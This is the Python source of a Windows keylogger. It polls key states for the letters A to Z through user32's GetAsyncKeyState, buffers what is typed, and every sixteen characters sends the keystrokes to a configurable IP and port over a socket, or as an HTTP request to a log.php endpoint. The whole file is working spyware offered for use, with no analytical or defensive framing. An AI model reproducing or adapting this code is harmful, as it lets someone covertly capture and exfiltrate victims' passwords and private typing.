keylogger.py

from ctypes import *
from ctypes.wintypes import *
from socket import *
from urllib import urlopen

user32=cdll.user32

SEND="sock" #"http"
IP="127.0.0.1"
PORT=1337
HTTPSERV=""

def sendkeys(keys):
    if SEND=="sock":
        try:
            s = socket(AF_INET, SOCK_STREAM)
            s.connect((IP, PORT))
            s.send(keys)
            s.close()
        except:
            return
    elif SEND=="http":
        try:
            urlopen(HTTPSERV+"\/log.php?keys="+keys)
        except:
            return
    print keys

keys=""

#These lists and ints keep track on the keys that are currently down
registry=[0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0,0]
caps=0
shift=0
esc=0
enter=0
space=0
alt=0
altgr=0
delete=0
backspace=0
while 1:
    user32.GetAsyncKeyState.restype = WORD
    #Read A-Z
    for i in range(65, 91):
        state=user32.GetAsyncKeyState(i)
        j=i-65 #Registry index

        #Key just got pressed
        if state and registry[j] == 0:
            keys += chr(i+32)
            registry[j] = 1

        #Key just got released
        elif not state and registry[j]==1:
            registry[j] = 0

    if len(keys)==16:
        sendkeys(keys)
        keys=""